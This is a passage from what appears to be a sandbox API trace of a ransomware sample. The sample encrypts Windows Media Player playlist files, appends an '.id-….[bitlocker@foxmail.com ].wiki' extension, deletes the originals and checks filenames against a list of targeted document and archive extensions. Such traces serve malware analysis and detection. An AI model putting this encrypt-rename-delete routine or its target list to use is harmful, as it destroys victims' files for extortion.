nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesWritten=0x351fc9c*=0x500, lpOverlapped=0x0) returned 1 [0180.767] ReadFile (in: hFile=0x320, lpBuffer=0x4040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0180.767] WriteFile (in: hFile=0x1b4, lpBuffer=0x4040020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesWritten=0x351fc9c*=0x11c, lpOverlapped=0x0) returned 1 [0180.767] SetEndOfFile (hFile=0x1b4) returned 1 [0180.767] CloseHandle (hObject=0x1b4) returned 1 [0180.767] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.767] SetEndOfFile (hFile=0x320) returned 1 [0180.768] CloseHandle (hObject=0x320) returned 1 [0180.768] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.768] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\02_music_added_in_the_last_month.wpl")) returned 1 [0180.960] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl") returned 133 [0180.960] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl") returned 133 [0180.960] lstrlenW (lpString=".doc") returned 4 [0180.960] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0180.960] lstrlenW (lpString=".docx") returned 5 [0180.960] lstrcmpiW (lpString1=".docx", lpString2="h.wpl") returned -1 [0180.960] lstrlenW (lpString=".pdf") returned 4 [0180.960] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0180.960] lstrlenW (lpString=".xls") returned 4 [0180.960] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0180.960] lstrlenW (lpString=".xlsx") returned 5 [0180.960] lstrcmpiW (lpString1=".xlsx", lpString2="h.wpl") returned -1 [0180.960] lstrlenW (lpString=".ppt") returned 4 [0180.960] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0180.960] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl") returned 133 [0180.960] lstrlenW (lpString=".zip") returned 4 [0180.960] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0180.960] lstrlenW (lpString=".rar") returned 4 [0180.960] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0180.960] lstrlenW (lpString=".bz2") returned 4 [0180.960] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0180.960] lstrlenW (lpString=".7z") returned 3 [0180.961] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0180.961] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl") returned 133 [0180.961] lstrlenW (lpString=".dbf") returned 4 [0180.961] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0180.961] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl") returned 133 [0180.961] lstrlenW (lpString=".1cd") returned 4 [0180.961] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0180.961] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl") returned 133 [0180.961] lstrlenW (lpString=".jpg") returned 4 [0180.961] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0180.961] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl") returned 133 [0180.961] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl") returned 133 [0180.961] lstrlenW (lpString=".doc") returned 4 [0180.961] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0180.961] lstrlenW (lpString=".docx") returned 5 [0180.961] lstrcmpiW (lpString1=".docx", lpString2="h.wpl") returned -1 [0180.961] lstrlenW (lpString=".pdf") returned 4 [0180.961] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0180.961] lstrlenW (lpString=".xls") returned 4 [0180.961] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0180.961] lstrlenW (lpString=".xlsx") returned 5 [0180.961] lstrcmpiW (lpString1=".xlsx", lpString2="h.wpl") returned -1 [0180.961] lstrlenW (lpString=".ppt") returned 4 [0180.961] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0180.961] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl") returned 133 [0180.961] lstrlenW (lpString=".zip") returned 4 [0180.961] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0180.961] lstrlenW (lpString=".rar") returned 4 [0180.961] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0180.961] lstrlenW (lpString=".bz2") returned 4 [0180.962] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0180.962] lstrlenW (lpString=".7z") returned 3 [0180.962] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0180.962] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl") returned 133 [0180.962] lstrlenW (lpString=".dbf") returned 4 [0180.962] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0180.962] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl") returned 133 [0180.962] lstrlenW (lpString=".1cd") returned 4 [0180.962] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0180.962] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl") returned 133 [0180.962] lstrlenW (lpString=".jpg") returned 4 [0180.962] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0180.962] lstrcmpiW (lpString1=".wpl", lpString2=".wiki") returned 1 [0180.962] lstrlenW (lpString="09_Music_played_the_most.wpl") returned 28 [0180.962] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\09_music_played_the_most.wpl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0181.524] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=1025) returned 1 [0181.524] CloseHandle (hObject=0x158) returned 1 [0181.525] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\09_music_played_the_most.wpl")) returned 0x2020 [0181.525] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\09_music_played_the_most.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0181.525] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\09_music_played_the_most.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0181.525] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0181.525] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0181.525] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\09_music_played_the_most.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0181.525] GetLastError () returned 0x0 [0181.525] ReadFile (in: hFile=0x158, lpBuffer=0x4040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesRead=0x351fed4*=0x401, lpOverlapped=0x0) returned 1 [0181.527] WriteFile (in: hFile=0x19c, lpBuffer=0x4040020*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesWritten=0x351fc9c*=0x410, lpOverlapped=0x0) returned 1 [0181.528] ReadFile (in: hFile=0x158, lpBuffer=0x4040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0181.528] WriteFile (in: hFile=0x19c, lpBuffer=0x4040020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesWritten=0x351fc9c*=0x10c, lpOverlapped=0x0) returned 1 [0181.528] SetEndOfFile (hFile=0x19c) returned 1 [0181.529] CloseHandle (hObject=0x19c) returned 1 [0181.529] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0181.529] SetEndOfFile (hFile=0x158) returned 1 [0181.529] CloseHandle (hObject=0x158) returned 1 [0181.529] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0181.530] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\09_music_played_the_most.wpl")) returned 1 [0181.530] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl") returned 125 [0181.530] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl") returned 125 [0181.530] lstrlenW (lpString=".doc") returned 4 [0181.530] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0181.530] lstrlenW (lpString=".docx") returned 5 [0181.530] lstrcmpiW (lpString1=".docx", lpString2="t.wpl") returned -1 [0181.530] lstrlenW (lpString=".pdf") returned 4 [0181.530] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0181.530] lstrlenW (lpString=".xls") returned 4 [0181.530] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0181.530] lstrlenW (lpString=".xlsx") returned 5 [0181.530] lstrcmpiW (lpString1=".xlsx", lpString2="t.wpl") returned -1 [0181.530] lstrlenW (lpString=".ppt") returned 4 [0181.530] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0181.530] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl") returned 125 [0181.530] lstrlenW (lpString=".zip") returned 4 [0181.530] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0181.530] lstrlenW (lpString=".rar") returned 4 [0181.530] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0181.530] lstrlenW (lpString=".bz2") returned 4 [0181.530] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0181.530] lstrlenW (lpString=".7z") returned 3 [0181.530] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0181.531] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl") returned 125 [0181.531] lstrlenW (lpString=".dbf") returned 4 [0181.531] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0181.531] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl") returned 125 [0181.531] lstrlenW (lpString=".1cd") returned 4 [0181.531] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0181.531] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl") returned 125 [0181.531] lstrlenW (lpString=".jpg") returned 4 [0181.531] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0181.531] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl") returned 125 [0181.531] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl") returned 125 [0181.531] lstrlenW (lpString=".doc") returned 4 [0181.531] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0181.531] lstrlenW (lpString=".docx") returned 5 [0181.531] lstrcmpiW (lpString1=".docx", lpString2="t.wpl") returned -1 [0181.531] lstrlenW (lpString=".pdf") returned 4 [0181.531] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0181.531] lstrlenW (lpString=".xls") returned 4 [0181.531] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0181.531] lstrlenW (lpString=".xlsx") returned 5 [0181.531] lstrcmpiW (lpString1=".xlsx", lpString2="t.wpl") returned -1 [0181.531] lstrlenW (lpString=".ppt") returned 4 [0181.531] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0181.531] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl") returned 125 [0181.531] lstrlenW (lpString=".zip") returned 4 [0181.531] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0181.531] lstrlenW (lpString=".rar") returned 4 [0181.531] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0181.531] lstrlenW (lpString=".bz2") returned 4 [0181.531] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0181.531] lstrlenW (lpString=".7z") returned 3 [0181.532] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0181.532] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl") returned 125 [0181.532] lstrlenW (lpString=".dbf") returned 4 [0181.532] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0181.532] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl") returned 125 [0181.532] lstrlenW (lpString=".1cd") returned 4 [0181.532] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0181.532] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl") returned 125 [0181.532] lstrlenW (lpString=".jpg") returned 4 [0181.532] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0181.532] lstrcmpiW (lpString1=".wpl", lpString2=".wiki") returned 1 [0181.532] lstrlenW (lpString="10_All_Music.wpl") returned 16 [0181.532] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\10_all_music.wpl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0181.535] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=1063) returned 1 [0181.535] CloseHandle (hObject=0x158) returned 1 [0181.535] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\10_all_music.wpl")) returned 0x2020 [0181.535] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\10_all_music.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0181.535] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\10_all_music.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0181.535] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0181.535] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0181.535] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\10_all_music.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0181.536] GetLastError () returned 0x0 [0181.536] ReadFile (in: hFile=0x158, lpBuffer=0x4040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesRead=0x351fed4*=0x427, lpOverlapped=0x0) returned 1 [0181.537] WriteFile (in: hFile=0x19c, lpBuffer=0x4040020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesWritten=0x351fc9c*=0x430, lpOverlapped=0x0) returned 1 [0181.538] ReadFile (in: hFile=0x158, lpBuffer=0x4040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0181.538] WriteFile (in: hFile=0x19c, lpBuffer=0x4040020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesWritten=0x351fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0181.538] SetEndOfFile (hFile=0x19c) returned 1 [0181.538] CloseHandle (hObject=0x19c) returned 1 [0181.538] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0181.538] SetEndOfFile (hFile=0x158) returned 1 [0181.539] CloseHandle (hObject=0x158) returned 1 [0181.539] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0181.539] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\10_all_music.wpl")) returned 1 [0181.540] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl") returned 113 [0181.540] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl") returned 113 [0181.540] lstrlenW (lpString=".doc") returned 4 [0181.540] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0181.540] lstrlenW (lpString=".docx") returned 5 [0181.540] lstrcmpiW (lpString1=".docx", lpString2="c.wpl") returned -1 [0181.540] lstrlenW (lpString=".pdf") returned 4 [0181.540] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0181.540] lstrlenW (lpString=".xls") returned 4 [0181.540] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0181.540] lstrlenW (lpString=".xlsx") returned 5 [0181.540] lstrcmpiW (lpString1=".xlsx", lpString2="c.wpl") returned -1 [0181.540] lstrlenW (lpString=".ppt") returned 4 [0181.540] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0181.540] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl") returned 113 [0181.540] lstrlenW (lpString=".zip") returned 4 [0181.540] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0181.540] lstrlenW (lpString=".rar") returned 4 [0181.540] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0181.540] lstrlenW (lpString=".bz2") returned 4 [0181.540] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0181.540] lstrlenW (lpString=".7z") returned 3 [0181.540] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0181.540] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl") returned 113 [0181.540] lstrlenW (lpString=".dbf") returned 4 [0181.540] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0181.540] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl") returned 113 [0181.540] lstrlenW (lpString=".1cd") returned 4 [0181.540] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0181.540] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl") returned 113 [0181.540] lstrlenW (lpString=".jpg") returned 4 [0181.540] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0181.541] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl") returned 113 [0181.541] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl") returned 113 [0181.541] lstrlenW (lpString=".doc") returned 4 [0181.541] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0181.541] lstrlenW (lpString=".docx") returned 5 [0181.541] lstrcmpiW (lpString1=".docx", lpString2="c.wpl") returned -1 [0181.541] lstrlenW (lpString=".pdf") returned 4 [0181.541] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0181.541] lstrlenW (lpString=".xls") returned 4 [0181.541] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0181.541] lstrlenW (lpString=".xlsx") returned 5 [0181.541] lstrcmpiW (lpString1=".xlsx", lpString2="c.wpl") returned -1 [0181.541] lstrlenW (lpString=".ppt") returned 4 [0181.541] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0181.541] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl") returned 113 [0181.541] lstrlenW (lpString=".zip") returned 4 [0181.541] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0181.541] 